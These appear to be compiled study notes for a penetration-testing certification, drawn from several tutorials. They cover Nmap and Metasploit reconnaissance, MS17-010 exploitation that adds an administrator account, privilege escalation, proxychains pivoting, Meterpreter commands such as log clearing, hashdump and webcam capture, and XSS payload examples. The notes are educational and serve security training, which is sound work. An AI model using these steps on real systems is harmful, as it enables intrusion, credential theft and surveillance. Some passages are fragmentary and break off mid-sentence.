ELearnSecurity ECPPT Notes Exam
ELearnSecurity ECPPT Notes Exam
Nmap
We have established an understanding of what Nmap is and how we can use it. Here are some
basic Nmap commands that administrators can use to their advantage.
If you wish to scan a port or even an entire port range on remote or local servers, you will have
to execute the Nmap port scan command. Here is what the Nmap port scan command will be:
Now, in this example, you scanned 65535 ports on the local host computer. You can change
the values according to your need, and the number of ports getting scanned will also change
completely. Nmap command to scan all ports can also help execute the process better and in
an easy way.
While this is included in the Nmap basic commands, the scan against the host or IP address can
come in handy. The command that can help in executing this process is:
nmap 1.1.1.1
The above example is for the host’s IP address, but you just have to replace the address with
the name when you scan the hostname.
The Nmap command list is vast and extensive. Several examples can be listed, but if you wish
to ping scan using Nmap, here is what you need to do:
The list of Nmap commands also includes the IP address scanner. If you wish to scan one IP
address, follow the code given in point number 2, but if you have multiple IP addresses to
scan, you need to follow the steps listed below.
This syntax will help in scanning multiple addresses. You do have other syntaxes for
consecutive IP addresses.
There is a syntax for everything in Nmap, but you must use the one below for popular port
scanning.
Using top ports with specific numbers can help the user scan the top ‘X’ number of the
common ports in the given an example. You can replace the number 20 from the above syntax,
and here are the outputs that can be expected.
Others Commands
• Enumeration Scan nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt
• Enumeration Scan All Ports TCP / UDP and output to a txt file nmap -oN nmap2.txt -v -
sU -sS -p- -A -T4 $ip
• Nmap output to a file: nmap -oN nmap.txt -p 1-65535 -sV -sS -A -T4 $ip/24
• All TCP and UDP Ports nmap -v -sU -sS -p- -A -T4 $ip
• Slow Comprehensive Scan nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125
-PY -g 53 --script "default or (discovery and safe)" $ip/24
• Scan with Active connect in order to weed out any spoofed ports designed to troll
you nmap -p1-65535 -A -T5 -sT $ip
Metasploit Recon
Preparing Metasploit for Port Scanning
Scanners and most other auxiliary modules use the ‘RHOSTS’ option instead of ‘RHOST’.
RHOSTS can take IP ranges (192.168.1.20-192.168.1.30), CIDR ranges (192.168.1.0/24),
multiple ranges separated by commas (192.168.1.0/24, 192.168.3.0/24), and line-separated
host list files (file:/tmp/hostlist.txt). This is another use for a grepable Nmap output file.
By default, all of the scanner modules will have the ‘THREADS’ value set to ‘1’. The ‘THREADS’
value sets the number of concurrent threads to use while scanning. Set this value to a higher
number in order to speed up your scans or keep it lower in order to reduce network traffic but
be sure to adhere to the following guidelines:
We can use the db_nmap command to run Nmap against our targets and our
scan results would than be stored automatically in our database. However, if
you also wish to import the scan results into another application or framework
later on, you will likely want to export the scan results in XML format. It is
always nice to have all three Nmap outputs (xml, grepable, and normal). So we
can run the Nmap scan using the -oA flag followed by the desired filename to
generate the three output files, then issue the db_import command to
populate the Metasploit database.
Run Nmap with the options you would normally use from the command line. If
we wished for our scan to be saved to our database, we would omit the output
flag and use db_nmap. The example below would then be db_nmap -v -sV
192.168.1.0/24.
...
Nmap done: 256 IP addresses (16 hosts up) scanned in 499.41 seconds
Port Scanning
In addition to running Nmap, there are a variety of other port scanners that are
available to us within the framework.
Matching Modules
================
auxiliary/scanner/natpmp/natpmp_portscan
normal NAT-PMP External Port Scanner
auxiliary/scanner/portscan/ack
normal TCP ACK Firewall Scanner
auxiliary/scanner/portscan/ftpbounce
normal FTP Bounce Port Scanner
auxiliary/scanner/portscan/syn
normal TCP SYN Port Scanner
auxiliary/scanner/portscan/tcp
normal TCP Port Scanner
auxiliary/scanner/portscan/xmas
normal TCP "XMas" Port Scanner
For the sake of comparison, we’ll compare our Nmap scan results for port 80
with a Metasploit scanning module. First, let’s determine what hosts had port
80 open according to Nmap.
192.168.1.1
192.168.1.2
192.168.1.10
192.168.1.109
192.168.1.116
192.168.1.150
The Nmap scan we ran earlier was a SYN scan so we’ll run the same scan
across the subnet looking for port 80 through our eth0 interface, using
Metasploit.
PORTS => 80
Here we’ll load up the ‘tcp’ scanner and we’ll use it against another target. As
with all the previously mentioned plugins, this uses the ‘RHOSTS’ option.
Remember we can issue the hosts -R command to automatically set this option
with the hosts found in our database.
=====
We can see that Metasploit’s built-in scanner modules are more than capable
of finding systems and open ports for us. It’s just another excellent tool to have
in your arsenal if you happen to be running Metasploit on a system without
Nmap installed.
Since there are many systems in our scan that have port 445 open, we will use
the scanner/smb/version module to determine which version of Windows is
running on a target and which Samba version is on a Linux host.
THREADS => 11
Also notice that if we issue the hosts command now, the newly-acquired
information is stored in Metasploit’s database.
Hosts
=====
In the free online Nmap book, you can find out more information on Nmap Idle
Scanning.
THREADS => 50
Again, other than using Nmap to perform scanning for services on our target
network, Metasploit also includes a large variety of scanners for various
services, often helping you determine potentially vulnerable running services
on target machines.
CONTENTS
• 1 SSH SERVICE
• 2 FTP SERVICE
SSH Service
A previous scan shows us we have TCP port 22 open on two machines. SSH is
very secure but vulnerabilities are not unheard of and it always pays to gather
as much information as possible from your targets.
========
We’ll load up the ssh_version auxiliary scanner and issue the set command to
set the ‘RHOSTS’ option. From there we can run the module by simple
typing run.
FTP Service
Poorly configured FTP servers can frequently be the foothold you need in order
to gain access to an entire network so it always pays off to check to see if
anonymous access is allowed whenever you encounter an open FTP port which
is usually on TCP port 21. We’ll set the ‘THREADS’ to ‘1’ here as we’re only going
to scan 1 host.
Services
========
In a short amount of time and with very little work, we are able to acquire a
great deal of information about the hosts residing on our network thus
providing us with a much better picture of what we are facing when conducting
our penetration test.
There are obviously too many scanners for us to show case. It is clear however
the Metasploit Framework is well suited for all your scanning and identification
needs.
...snip...
https://www.offensive-security.com/metasploit-unleashed/writing-scanner/
https://www.hackers-arise.com/post/2017/04/10/metasploit-basics-part-5-using-metasploit-
for-reconnaissance
DIRB
What is Dirb
DIRB is a command line based tool to brute force any directory based on wordlists. DIRB will
make an HTTP request and see the HTTP response code of each request
How it works
It internally has a wordlist file which has by default around 4000 words for brute force attack.
There are a lot of updated wordlists available over the internet which can also be used. Dirb
searches for the words in its wordlist in every directory or object of a website or a server. It
might be an admin panel or a subdirectory that is vulnerable to attack. The key is to find the
objects as they are generally hidden.
Note : I used Kali Linux and Dirb comes pre-installed with Kali.
Purpose of DIRB is to help in professional and web application auditing in security testing. DIRB
looks for almost all the web objects that other generic CGI scanners can’t look for. It doesn’t
look for vulnerabilities but it looks for the web contents that can be vulnerable.
Using Dirb:
Once we have a terminal open, go ahead and type dirb to get the help screen.
Kali> dirb
As you can see in this screenshot above, DIRB’s syntax is very simple with multiple options. In
its simplest form, we only need to type the command dirb followed by the URLof the website
we are testing.
with the Dirb’s default word list file it searches the URL for 4612 Object types. Let’s try it on
test site, webscantest.com.
DIRB begins the scan looking for those keywords among the website objects.
The results list with the response code and the size of the file for each ping. Also, dirb starts
searching the files of the folder which returns the response code as 200. It searches the entire
folders with the wordlist and displays the results.
Finally, when DIRB is done, it reports back the number of found objects (113 in this case). Note
that in the help screen above, we can use the -o switch to send the results to an output file to
save the results to a text file.
We can use DIRB to test for specific vulnerable objects within specific types of web
technologies. Each web technology has different vulnerabilities. They are NOT all the same.
DIRB can help us look for specific vulnerable objects specific to the particular technology.
In Kali, DIRB has specific wordlists to search for these vulnerable often hidden objects. You can
find them at:
kali > ls -l
https://medium.com/tech-zoom/dirb-a-web-content-scanner-bc9cba624c86
MS17-010 Exploitation
Metasploit has released three (3) modules that can exploit this and are commonly used. I have
listed the modules in order of most reliable to least reliable.
This module is by far the most reliable, however you do need credentials on the machine.
Some use cases for this are the following.
1. You have regular domain user credentials on the network and want to get admin on a
machine.
2. You have local user credentials for the machine and want to get admin
3. You want to validate the vulnerability exists using a stable exploit
set smbuser jsmith // sets the username when authenticating to the machine
set smbdomain CORP // sets the domain to use. If this is a local account, use WORKGROUP or
WORKSTATION as this value.
set RHOST <IP ADDRESS> // this sets the IP address of the target machine. You need to replace
IP <IP ADDRESS> with the IP address of the target system
The above exploit will work in almost all scenarios where the machine is vulnerable. This is the
most reliable way to exploit MS17-010 on a machine.
ms17_010_command
This is the exploit I use in most cases as I don’t have any credentials and need to exploit a
machine that I have found to be vulnerable. The commands to get this to work are the
following.
set CMD net user james Password1 /add // adds the local user of “james” to the machine
set RHOST <<IP ADDRESS>> // this sets the IP address of the target machine. You need to
replace IP <IP ADDRESS> with the IP address of the target system
Once this is run successfully, we will need to use this command again to change the local user
we just created (james) to a local administrator. This can be done using the following
commands.
Once this is done, we can use psexec, crackmapexec, RDP, etc. to gain access to the machine!
ms17_010_eternalblue
This is the ugly stepchild of MS17-010 exploits. Very flaky, high risk of crashing the SMB service
on the machine. Alas, if you’re feeling lucky, this is what you need to do.
set RHOST <<IP ADDRESS>> // this sets the IP address of the target machine. You need to
replace IP <IP ADDRESS> with the IP address of the target system
In this tutorial we will see how to use the "local exploit suggester" module of Metasploit. This
module allows us to escalate our privileges. Once we have user level access to our target, we
can run this module, and it will identify exploits that will allow us to escalate our privileges.
For this example, I already have user level access to the target box. All I have to do is run this
module and it will identify exploits that will allow me to escalate my privileges. All that is
needed is the SESSION number. Since my session number is 1, I will run the set SESSION
1 command.
It managed to find two exploits that can potentially allow us to escalate our privileges.
Following are the two exploits: ms10_092_schelevator and ms16_014_wmi_recv_notif.
Let's use the "ms16_014_wmi_recv_notif" module. The show options command shows the
options needed for this module. It requires only one option and that is the SESSION number.
So let's set the SESSION number to 1 by running set SESSION 1. The set LPORT 8888 command
sets the port on our local computer on which we will be listening for the reverse connection.
And the set LHOST tun0 sets the interface on which we will be listening for the remote
connection. In this case we are listening on the tun0 interface. Instead of using the interface
name like tun0 or eth0, we can also use the IP address of an interface. exploit runs the module
and now we have system level privileges to the box.
Note that not all exploits identified will allow us to escalate our privileges. Some of them are
just false positives.
http://0xma.com/hacking/metasploit_privilege_escalation.html
https://null-byte.wonderhowto.com/how-to/get-root-with-metasploits-local-exploit-
suggester-0199463/
Metasploit Pivoting using Proxychains
Pivoting: Metasploit(meterpreter)+Proxychains
This is just another pivoting tutorial(Nothing special). We will try to find other hosts in the
internal network of a organization and will do basic enumeration on discovered hosts.
Prerequisite:
sessions -l
2. Using autoroute module to create a pivot for the other network i.e. 172.30.111.0/24 . After
running this all the metasploit modules will be able to access internal
network 172.30.111.0/24.
Note: proxychains by default uses port 9050. Can be configured here /etc/proxychains.conf
or /etc/proxychains4.conf
use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
port => 9050
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
msf6 auxiliary(server/socks_proxy) >
[*] Starting the SOCKS proxy server
netstat -lntp
4. Now lets test our connection. We will try to find live hosts in network 172.30.111.0/24
Proxies don’t support ICMP(ICMP works on IP layer and proxy works on Transport layer and
above) therefore we cannot use normal ping sweep. Rather we will do tcp connect port scan(-
sT) for common ports to find live hosts or if you really want to do ping sweep then you can
use post/multi/gather/ping_sweep
This scan will be very slow, patience is required. for demonstration I already know
172.30.111.10 is alive and running smb so lets see results of this scan.
• disable-arp-ping(self explanatory)
We know smb is running on 445. Let’s check for common smb issues and we found null
session.
https://pswalia2u.medium.com/pivoting-metasploit-proxychains-85d18ce5bf2d
Using the default route option along with the Socks proxy and Proxychains, you can browse
the internet as the compromised host. This is possible because adding a default route to a
Meterpreter session will cause all TCP/IP traffic; that is not otherwise specified in Metasploit's
routing table, to route through that session. This is easy to set up and test.
You need a Windows Meterpreter session on a host that has a different public IP address than
your attacking machine.
or
$ firefox
Go to www.ipchicken.com
This displays your current public IP address. The one that is logged when you visit a website.
$ proxychains firefox
Go to www.ipchicken.com
Now you will see the public IP address of the compromised host. You are essentially using the
compromised host as a proxy to browse the Internet.
Module options
(exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword thePassword yes The password to use to authenticate to the Ex
change server
HttpUsername administrator yes The username to log into the Exchange server
as
Proxies no A proxy chain of format type:host:port[,type:
host:port][...]
RHOSTS 169.254.204.110 yes The target host(s), see https://github.com/ra
pid7/metasploit-framework/wiki/Using-Metasplo
it
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yTo come, awaiting some more testing hold on :)es The
local host or network interface to listen
on. This must be an address on the local mac
hine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is
randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is r
andom)
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Windows Command
Active sessions
===============
OPTIONS:
-h Help banner.
-i Index of the port forward entry to interact with (see the "list" command).
-l Forward: local port to listen on. Reverse: local port to connect to.
-L Forward: local host to listen on (optional). Reverse: local host to connect to.
-p Forward: remote port to connect to. Reverse: remote port to listen on.
-r Forward: remote host to connect to.
-R Indicates a reverse port forward.
meterpreter >
To add a port forward, use portfwd add and specify the -l, -p and -r options at a
minimum to specify the local port to listen on, the report port to connect to, and the
target host to connect to respectively.
meterpreter > portfwd add -l 1090 -p 443 -r 169.254.37.128
[*] Local TCP relay created: :1090 <-> 169.254.37.128:443
meterpreter >
Note that something that is commonly misunderstood here is that the port will be
opened on the machine running Metasploit itself, NOT on the target that the session is
running on.
We can then connect to the target host using the local port on the machine running
Metasploit:
~/git/metasploit-framework │ master ?21 wget --no-check-certificate
https://127.0.0.1:1090
--2022-04-08 14:36:23-- https://127.0.0.1:1090/
Connecting to 127.0.0.1:1090... connected.
WARNING: cannot verify 127.0.0.1's certificate, issued by ‘CN=DC1’:
Self-signed certificate encountered.
WARNING: certificate common name ‘DC1’ doesn't match requested host name
‘127.0.0.1’.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: https://127.0.0.1/owa/ [following]
--2022-04-08 14:36:23-- https://127.0.0.1/owa/
Connecting to 127.0.0.1:443... failed: Connection refused.
~/git/metasploit-framework │ master ?21
Note that you may need to edit your /etc/hosts file to map IP addresses to given host
names to allow things like redirects to redirect to the right hostname or IP address
when using this method of pivoting.
LISTING PORT FORWARDS AND REMOVING ENTRIES
Can list port forwards using the portfwd list command. To delete all port forwards
use portfwd flush. Alternatively to selectively delete local port forwarding entries,
use portfwd delete -l <local port>.
meterpreter > portfwd delete -l 1090
[*] Successfully stopped TCP relay on 0.0.0.0:1090
meterpreter > portfwd list
meterpreter >
REMOTE PORT FORWARDING
This scenario is a bit different than above. Whereas previously we were instructing the
session to forward traffic from our host running Metasploit, through the session, and
to a second target host, with reverse port forwarding the scenario is a bit different. In
this case we are instructing the session to forward traffic from other hosts through the
session, and to our host running Metasploit. This is useful for allowing other
applications running within a target network to interact with local applications on the
machine running Metasploit.
To set up a reverse port forward, use portfwd add -R within a supported session and
then specify the -l, -L and -p options. The -l option specifies the port to forward the
traffic to, the -L option specifies the IP address to forward the traffic to, and the -
p option specifies the port to listen on for traffic on the machine that we have a
session on (whose session console we are currently interacting with).
For example to listen on port 9093 on a target session and have it forward all traffic to
the Metasploit machine at 172.20.97.72 on port 9093 we could execute portfwd add -
R -l 4444 -L 172.20.97.73 -p 9093 as shown below, which would then cause the
machine who have a session on to start listening on port 9093 for incoming
connections.
meterpreter > portfwd add -R -l 4444 -L 172.20.97.73 -p 9093
[*] Local TCP relay created: 172.20.97.73:4444 <-> :9093
meterpreter > netstat -a
Connection list
===============
Proto Local addre Remote addr State User Inode PID/Program name
ss ess
----- ----------- ----------- ----- ---- ----- ----------------
tcp 0.0.0.0:135 0.0.0.0:* LISTEN 0 0 488/svchost.exe
tcp 0.0.0.0:445 0.0.0.0:* LISTEN 0 0 4/System
tcp 0.0.0.0:504 0.0.0.0:* LISTEN 0 0 5780/svchost.exe
0
tcp 0.0.0.0:909 0.0.0.0:* LISTEN 0 0 2116/bind_tcp_x64_4444.exe
3
We can confirm this works by setting up a listener
XXX - to work on and confirm….
Socks Module
Once routes are established, Metasploit modules can access the IP range specified in
the routes. For other applications to access the routes, a little bit more setup is
necessary. One way to solve this involves using
the auxiliary/server/socks_proxy Metasploit module to set up a socks4a proxy, and
then using proxychains-ng to direct external applications towards the established
socks4a proxy server that Metasploit has set up so that external applications can use
Metasploit’s internal routing table.
Socks Server Module Setup
Metasploit can launch a SOCKS proxy server using the
module: auxiliary/server/socks_proxy. When set up to bind to a local loopback
adapter, applications can be directed to use the proxy to route TCP/IP traffic through
Metasploit’s routing tables. Here is an example of how this module might be used:
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > show options
Auxiliary action:
Name Description
---- -----------
Proxy Run a SOCKS proxy server
Jobs
====
Meterpreter Basic
Since the Meterpreter provides a whole new environment, we will cover some of the basic
Meterpreter commands to get you started and help familiarize you with this most powerful
tool. Throughout this course, almost every available Meterpreter command is covered. For
those that aren’t covered, experimentation is the key to successful learning.
help
The help command, as may be expected, displays the Meterpreter help menu.
Core Commands
=============
Command Description
------- -----------
? Help menu
...snip...
background
The background command will send the current Meterpreter session to the background and
return you to the ‘msf’ prompt. To get back to your Meterpreter session, just interact with it
again.
meterpreter >
cat
The cat command is identical to the command found on *nix systems. It displays the content
of a file when it’s given as an argument.
Example usage:
meterpreter >
cd and pwd
The cd and pwd commands are used to change and display current working directly on the
target host.
The change directory “cd” works the same way as it does under DOS and *nix systems.
By default, the current working folder is where the connection to your listener was initiated.
ARGUMENTS:
c:\
c:\windows
meterpreter >
clearev
The clearev command will clear the Application, System, and Security logs on
a Windows system. There are no options or arguments.
Example usage:
Before
meterpreter >
After
download
The download command downloads a file from the remote machine. Note the use of the
double-slashes when giving the Windows path.
meterpreter >
edit
Example usage:
meterpreter > ls
========================================================
...snip...
Please refer to the vim editor documentation for more advance use.
http://www.vim.org/
execute
Channel 1 created.
C:\WINDOWS\system32>
getuid
Running getuid will display the user that the Meterpreter server is running as on the host.
meterpreter >
hashdump
The hashdump post module will dump the contents of the SAM database.
Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0
a3:::
dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261
e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026
e51097ccc9:::
victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
meterpreter >
idletime
Running idletime will display the number of seconds that the user at the remote machine has
been idle.
meterpreter >
ipconfig
The ipconfig command displays the network interfaces and addresses on the remote machine.
IP Address : 127.0.0.1
Netmask : 255.0.0.0
IP Address : 192.168.1.104
Netmask : 255.255.0.0
meterpreter >
The lpwd and lcd commands are used to display and change the local working directory
respectively.
When receiving a Meterpreter shell, the local working directory is the location where one
started the Metasploit console.
Changing the working directory will give your Meterpreter session access to files located in this
folder.
ARGUMENTS:
Example usage:
/root
/var/www
meterpreter >
ls
As in Linux, the ls command will list the files in the current remote directory.
meterpreter > ls
=========================================
...snip...
migrate
Using the migrate post module, you can migrate to another process on the victim.
meterpreter >
ps
The ps command displays a list of running processes on the target.
meterpreter > ps
Process list
============
...snip...
resource
The resource command will execute Meterpreter instructions located inside a text file.
Containing one entry per line, resource will execute each line in sequence. This can help
automate repetitive actions performed by a user.
By default, the commands will run in the current working directory (on target machine) and
resource file in the local working directory (the attacking machine).
Usage: resource path1 path2Run the commands stored in the supplied files.
meterpreter >
ARGUMENTS:
Path2Run: The location where to run the commands found inside the file
Example usage
Our file used by resource:
ls
background
root@kali:~#
[*] Running ls
========================================================
search
The search commands provides a way of locating specific files on the target host. The
command is capable of searching through the whole system or specific folders.
Wildcards can also be used when creating the file pattern to search for.
[-] You must specify a valid file glob to search for, e.g. >search -f *.doc
ARGUMENTS:
Search location: Optional, if none is given the whole system will be searched.
Example usage:
Found 1 result...
c:\AUTOEXEC.BAT
meterpreter > search -f sea*.bat c:\\xamp\\
Found 1 result...
meterpreter >
shell
The shell command will present you with a standard shell on the target system.
Channel 2 created.
C:\WINDOWS\system32>
upload
As with the download command, you need to use double-slashes with the upload command.
meterpreter >
webcam_list
The webcam_list command when run from the Meterpreter shell, will display currently
available web cams on the target host.
Example usage:
meterpreter >
webcam_snap
The webcam_snap’ command grabs a picture from a connected web cam on the target
system, and saves it to disc as a JPEG image. By default, the save location is the local current
working directory with a randomized filename.
OPTIONS:
-h Help Banner
meterpreter >
OPTIONS:
-i opt: If more then 1 web cam is connected, use this option to select the device to capture
the
image from
-q opt: The imagine quality, 50 being the default/medium setting, 100 being best quality
-v opt: By default the value is true, which opens the image after capture.
Example usage:
[*] Starting...
[*] Stopped
meterpreter >
Metasploit Post Exploitation
Metasploit offers a number of post exploitation modules that allow for further information
gathering on your target network.
arp_scanner
The arp_scanner post module will perform an ARP scan for a given range through a
compromised host.
meterpreter >
checkvm
The checkvm post module, simply enough, checks to see if the compromised host is a virtual
machine. This module supports Hyper-V, VMWare, VirtualBox, Xen, and QEMU virtual
machines.
meterpreter >
credential_collector
The credential_collector module harvests passwords hashes and tokens on the compromised
host.
Extracted:
Administrator:7bf4f254f224bb24aad3b435b51404ee:2892d23cdf84d7a70e2eb2b9f05c425e
Extracted:
Guest:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
Extracted:
HelpAssistant:2e61920ebe3ed6e6d108113bf6318ee2:5abb944dc0761399b730f300dd474714
Extracted:
SUPPORT_388945a0:aad3b435b51404eeaad3b435b51404ee:92e5d2c675bed8d4dc6b74ddd9
b4c287
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
NT AUTHORITY\ANONYMOUS LOGON
meterpreter >
dumplinks
The dumplinks module parses the .lnk files in a users Recent Documents which could be useful
for further information gathering. Note that, as shown below, we first need to migrate into a
user process prior to running the module.
[*] No Recent Office files found for user Administrator. Nothing to do.
meterpreter >
enum_applications
The enum_applications module enumerates the applications that are installed on the
compromised host.
Installed Applications
======================
Name Version
---- -------
meterpreter >
enum_logged_on_users
The enum_logged_on_users post module returns a listing of current and recently logged on
users along with their SIDs.
====================
SID User
--- ----
S-1-5-21-628913648-3499400826-3774924290-1000 WIN7-X86\victim
S-1-5-21-628913648-3499400826-3774924290-1004 WIN7-X86\hacker
[*] Results saved in:
/root/.msf4/loot/20170501172925_pwk_192.168.0.6_host.users.activ_736219.txt
=====================
--- ------------
S-1-5-18 %systemroot%\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-628913648-3499400826-3774924290-1000 C:\Users\victim
S-1-5-21-628913648-3499400826-3774924290-1004 C:\Users\hacker
meterpreter >
enum_shares
The enum_shares post module returns a listing of both configured and recently used shares on
the compromised system.
[*] Type: 0
[*]
[*] \\192.168.1.250\software
[*] \\192.168.1.250\Data
[*]
meterpreter >
enum_snmp
The enum_snmp module will enumerate the SNMP service configuration on the target, if
present, including the community strings.
[*]
[*] ================
[*]
[*]
meterpreter >
hashdump
The hashdump post module will dump the local users accounts on the compromised host
using the registry.
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:2e61920ebe3ed6e6d108113bf6318ee2:5abb944dc0761399b730f300dd47
4714:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:92e5d2c675bed8d4dc6b74
ddd9b4c287:::
meterpreter >
usb_history
The usb_history module enumerates the USB drive history on the compromised system.
[*]
C: Disk ea4cea4c
E: STORAGE#RemovableMedia#8&3a01dffe&0&RM#{53f5630d-b6bf-11d0-94f2-
00a0c91efb8b}
A: FDC#GENERIC_FLOPPY_DRIVE#6&1435b2e2&0&0#{53f5630d-b6bf-11d0-94f2-
00a0c91efb8b}
D:
IDE#CdRomNECVMWar_VMware_IDE_CDR10_______________1.00____#3031303030
303030303030303030303030303130#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
=============================================================================
========
Driver {4D36E967-E325-11CE-BFC1-08002BE10318}\0001
meterpreter >
local_exploit_suggester
The local_exploit_suggester, or ‘Lester’ for short, scans a system for local vulnerabilities
contained in Metasploit. It then makes suggestions based on the results as well as displays
exploit’s location for quicker access.
In this section, we'll explain reflected cross-site scripting, describe the impact of reflected XSS
attacks, and spell out how to find reflected XSS vulnerabilities.
Reflected cross-site scripting (or XSS) arises when an application receives data in an HTTP
request and includes that data within the immediate response in an unsafe way.
Suppose a website has a search function which receives the user-supplied search term in a URL
parameter:
https://insecure-website.com/search?term=gift
The application echoes the supplied search term in the response to this URL:
Assuming the application doesn't perform any other processing of the data, an attacker can
construct an attack like this:
https://insecure-website.com/search?term=<script>/*+Bad+stuff+here...+*/</script>
If another user of the application requests the attacker's URL, then the script supplied by the
attacker will execute in the victim user's browser, in the context of their session with the
application.
The vast majority of reflected cross-site scripting vulnerabilities can be found quickly and
reliably using Burp Suite's web vulnerability scanner.
Testing for reflected XSS vulnerabilities manually involves the following steps:
• Test every entry point. Test separately every entry point for data within the
application's HTTP requests. This includes parameters or other data within the URL
query string and message body, and the URL file path. It also includes HTTP headers,
although XSS-like behavior that can only be triggered via certain HTTP headers may not
be exploitable in practice.
• Submit random alphanumeric values. For each entry point, submit a unique random
value and determine whether the value is reflected in the response. The value should
be designed to survive most input validation, so needs to be fairly short and contain
only alphanumeric characters. But it needs to be long enough to make accidental
matches within the response highly unlikely. A random alphanumeric value of around
8 characters is normally ideal. You can use Burp Intruder's number payloads
[https://portswigger.net/burp/documentation/desktop/tools/intruder/payloads/types
#numbers] with randomly generated hex values to generate suitable random values.
And you can use Burp Intruder's grep payloads option to automatically flag responses
that contain the submitted value.
• Determine the reflection context. For each location within the response where the
random value is reflected, determine its context. This might be in text between HTML
tags, within a tag attribute which might be quoted, within a JavaScript string, etc.
• Test a candidate payload. Based on the context of the reflection, test an initial
candidate XSS payload that will trigger JavaScript execution if it is reflected unmodified
within the response. The easiest way to test payloads is to send the request to Burp
Repeater, modify the request to insert the candidate payload, issue the request, and
then review the response to see if the payload worked. An efficient way to work is to
leave the original random value in the request and place the candidate XSS payload
before or after it. Then set the random value as the search term in Burp Repeater's
response view. Burp will highlight each location where the search term appears, letting
you quickly locate the reflection.
• Test alternative payloads. If the candidate XSS payload was modified by the
application, or blocked altogether, then you will need to test alternative payloads and
techniques that might deliver a working XSS attack based on the context of the
reflection and the type of input validation that is being performed. For more details,
see cross-site scripting contexts
• Test the attack in a browser. Finally, if you succeed in finding a payload that appears
to work within Burp Repeater, transfer the attack to a real browser (by pasting the URL
into the address bar, or by modifying the request in Burp Proxy's intercept view, and
see if the injected JavaScript is indeed executed. Often, it is best to execute some
simple JavaScript like alert(document.domain) which will trigger a visible popup within
the browser if the attack succeeds.
https://portswigger.net/web-security/cross-site-scripting/reflected
Stored XSS
In this section, we'll explain stored cross-site scripting, describe the impact of stored XSS
attacks, and spell out how to find stored XSS vulnerabilities.
Stored cross-site scripting (also known as second-order or persistent XSS) arises when an
application receives data from an untrusted source and includes that data within its later HTTP
responses in an unsafe way.
Suppose a website allows users to submit comments on blog posts, which are displayed to
other users. Users submit comments using an HTTP request like the following:
Host: vulnerable-website.com
Content-Length: 100
postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlo
s%40normal-user.net
After this comment has been submitted, any user who visits the blog post will receive the
following within the application's response:
Assuming the application doesn't perform any other processing of the data, an attacker can
submit a malicious comment like this:
comment=%3Cscript%3E%2F*%2BBad%2Bstuff%2Bhere...%2B*%2F%3C%2Fscript%3E
Any user who visits the blog post will now receive the following within the application's
response:
The script supplied by the attacker will then execute in the victim user's browser, in the
context of their session with the application.
Many stored XSS vulnerabilities can be found using Burp Suite's web vulnerability scanner.
Testing for stored XSS vulnerabilities manually can be challenging. You need to test all relevant
"entry points" via which attacker-controllable data can enter the application's processing, and
all "exit points" at which that data might appear in the application's responses.
• Parameters or other data within the URL query string and message body.
• HTTP request headers that might not be exploitable in relation to reflected XSS.
• Any out-of-band routes via which an attacker can deliver data into the application. The
routes that exist depend entirely on the functionality implemented by the application:
a webmail application will process data received in emails; an application displaying a
Twitter feed might process data contained in third-party tweets; and a news
aggregator will include data originating on other web sites.
The exit points for stored XSS attacks are all possible HTTP responses that are returned to any
kind of application user in any situation.
The first step in testing for stored XSS vulnerabilities is to locate the links between entry and
exit points, whereby data submitted to an entry point is emitted from an exit point. The
reasons why this can be challenging are that:
• Data submitted to any entry point could in principle be emitted from any exit point.
For example, user-supplied display names could appear within an obscure audit log
that is only visible to some application users.
• Data that is currently stored by the application is often vulnerable to being overwritten
due to other actions performed within the application. For example, a search function
might display a list of recent searches, which are quickly replaced as users perform
other searches.
To comprehensively identify links between entry and exit points would involve testing each
permutation separately, submitting a specific value into the entry point, navigating directly to
the exit point, and determining whether the value appears there. However, this approach is
not practical in an application with more than a few pages.
Instead, a more realistic approach is to work systematically through the data entry points,
submitting a specific value into each one, and monitoring the application's responses to detect
cases where the submitted value appears. Particular attention can be paid to relevant
application functions, such as comments on blog posts. When the submitted value is observed
